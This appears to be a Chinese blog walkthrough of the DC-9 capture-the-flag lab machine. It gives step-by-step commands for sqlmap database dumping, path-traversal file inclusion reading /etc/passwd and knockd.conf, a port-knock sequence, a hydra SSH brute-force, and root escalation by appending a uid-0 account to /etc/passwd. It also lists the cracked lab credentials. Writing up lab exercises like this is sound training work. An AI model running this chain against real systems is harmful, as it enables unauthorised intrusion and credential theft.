dc-9题解

目录

80端口思路

sql注入

文件包含

 ssh思路

ssh暴力破解

渗透提权

​编辑

一个疑问点:

1.怎么联想到的knockd.conf


dc-9的IP:192.168.10.15

 namp  -A  -sS 192.168.10.15 -p 0-65535

ssh 端口关闭着,现在是拒绝服务

80端口思路

从80端口入手

1.nikto -h 192.168.10.15 

或者 nikto -h 192.168.10.15

-h是-host

'-C all'强制检查所有可能的目录

2.dirb http://192.168.10.15

不用加-w就行

第一个是爆破所用的字典,我们阔以设置,设置方法第二张图

-c是设置cookie,我感觉有用,记录一下

下面就是爆破出的目录

 3.dirsearch -u 192.168.10.15

我感觉这个爆破的更全面一点

这是经过筛选的,感觉不咋地,要是目录多的话用,感觉还行

dirsearch -u 192.168.10.15 | grep -v '403 -'

 我们在爆破的同时阔以直接登陆192.168.10.15默认的网页进行查看

对网页破解的思路,看地址栏,是否有get方法进行sql注入

是否有输入框(查找的输入框,登陆的输入框),然后进行文件上传,sql注入,文件包含,源代码泄露用户信息(就是查看页面源代码),爬虫爬取网络登陆用户cewl

sql注入

 发现注入点

 看地址栏,应该是post传输,我们获取cookie和url

 或者burp拦截,里面也有cookie

post传输,一定有参数,所以还得用burp

sqlmap -u "http://192.168.10.15/results.php" --cookie "PHPSESSID=1aut1spn494s50egs2e1it8hi3" --data "search=1" --dbs -batch

 我都爆破一下

Staff库

sqlmap -u "http://192.168.10.15/results.php" --cookie "PHPSESSID=1aut1spn494s50egs2e1it8hi3" --data "search=1" -D Staff --dump-all

 找到登陆的账号密码了,并且破解出来了,登陆

 记:sql数字判断用?id=2-1,数字注入阔以成功,+不行,因为url编码把+成空格

访问user库的所有表

sqlmap -u "http://192.168.10.15/results.php" --cookie "PHPSESSID=1aut1spn494s50egs2e1it8hi3" --data "search=1" -D user --dump-all

把上面所有复制粘贴到all.txt里

 我们用awk对这些数据进行处理

awk -F "|"  '{print $4}' all_user.txt > /root/dc-1/passwd1.txt

awk -F "|"  '{print $6}' all_user.txt > /root/dc-1/user1.txt

为什么是4和6呢,因为他的内容大概是[' ','id','lastname','password'等等],这样看来password就是4,user就是6

你会发现有多余的空格,我们进行处理,这个是我处理过的

cat passwd1.txt | awk '$1=$1' | >passwd1.txt

或者awk '$1=$1' passwd1.txt > passwd2.txt

下面都是处理好的账号和密码

账号:

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

密码:

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

方法2

用word处理空格

文件包含

 发现文件找不到,说明,这个页面包含了其他页面,我们阔以考虑页面包含,看看是get还是post传参

 burp抓包,发现是get,get的话需要知道参数,我们阔以利用wfuzz对参数进行爆破

wfuzz --hh 1341 -b "PHPSESSID=1aut1spn494s50egs2e1it8hi3" -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.10.15/manage.php?FUZZ=../../../../../etc/passwd

得出结果就是file

构造http://192.168.10.15/welcome.php?file=../../../../etc/passwd

-c                        : Output with colors
--hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)

提示:welcome.php和manage.php一样都能检测

--hh 1341的作用阔以删除其他无用消息

如果是这样,清理一下浏览器的缓存,抓包换一下cookie


 ssh思路

找到账号和密码之后,就要ssh了

因为ssh被关闭了,所以我们阔以包含这个文件http://192.168.10.15/welcome.php?file=../../../../proc/sched_debug

/proc/sched_debug这个查看程序的进程是哪个文件控制的

具体阔以上网搜一下,了解一下

我找到了sshd的PID529 

不对不对,先不看这个

文件包含查看这个ssh的状态,找一下他的父进程,发现是662

而662是这个

http://192.168.10.15/welcome.php?file=../../../../proc/529/status

/proc/529/status

chatgpt的回答

要发现是否knockd限制了SSH服务,你可以尝试访问/proc目录下与网络和端口相关的文件来获取相关信息。以下是一些常用的文件和命令:

  1. 检查被使用的网络端口:可以使用netstat -tulpn命令来查看当前打开的套接字和与之关联的进程。查找SSH服务监听的端口和对应的进程。

  2. 查看iptables规则:knockd通常通过iptables来实现端口控制。你可以使用iptables -L命令来查看当前的iptables规则,并查找是否有与SSH服务相关的限制。

  3. 查看knockd的日志:knockd通常会记录其活动和触发的操作。你可以查找knockd的日志文件(通常在/var/log/目录下)来获取更多信息。尝试使用tail -f /var/log/knockd.log命令来实时监视knockd的日志。

在以上过程中,你可以观察是否有针对SSH服务的特殊规则或活动记录,以判断是否knockd限制了SSH服务。需要注意的是,确保以root或有足够权限的用户身份执行上述命令,以便获取完整的信息。

http://192.168.10.15/welcome.php?file=../../../../etc/knockd.conf

/etc/knockd.conf,得到敲门的序列号

敲门:按顺序依次访问

nc 192.168.10.15 7469;nc 192.168.10.15 8475;nc 192.168.10.15 9842

再次查看可以看到ssh已经oppen了

ssh暴力破解

hydra -L user.txt -P password.txt ssh://192.168.10.15
爆破出

login: chandlerb   password: UrAG0D!
login: joeyt   password: Passw0rd
login: janitor   password: Ilovepeepee

登陆用户

先id,产看用户权限,看有没有特殊的,就是为0的,如果组为0,那有时候就拥有root权限了

然后unam -a 阔以产看是linux系统,版本是上面,通过版本searchexploit找漏洞

sudo -l直接查看权限

find / -perm -4000 2>/dev/null查找一些工具的漏洞,比如exim,邮件这个东西

一无所获后,才。。。

最后,实在不行,咱就先去自己家目录下,看看有没有什么保存密码的文件啊什么的,可能隐藏了,阔以ls -la

我们再开一个终端,把密码写到我们的password.txt里

再次爆破

 login: fredf   password: B4-Tru3-001


渗透提权

 

我们去看看,发现是是文件,我们执行一下

  

 翻译就是:Python test.py读取追加

我们find / -name test.py 2>/dev/null

 我们看第一个文件

第二个文件很长,不是我们需要的

根据第一个文件的意思就是,将一个文件里的内容写入到另一个文件里

那我们写一个用户到/etc/passwd里,并且有root权限就行

perl -le 'print crypt("123456","salt")'

echo "adg:sahL5d5V.UWtI:0:0:adg:/root:/bin/bash" >>/tmp/passwd

sudo ./test /tmp/passwd /etc/passwd

 密码:123456

 flag在/root下

一个疑问点:

1.怎么联想到的knockd.conf

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值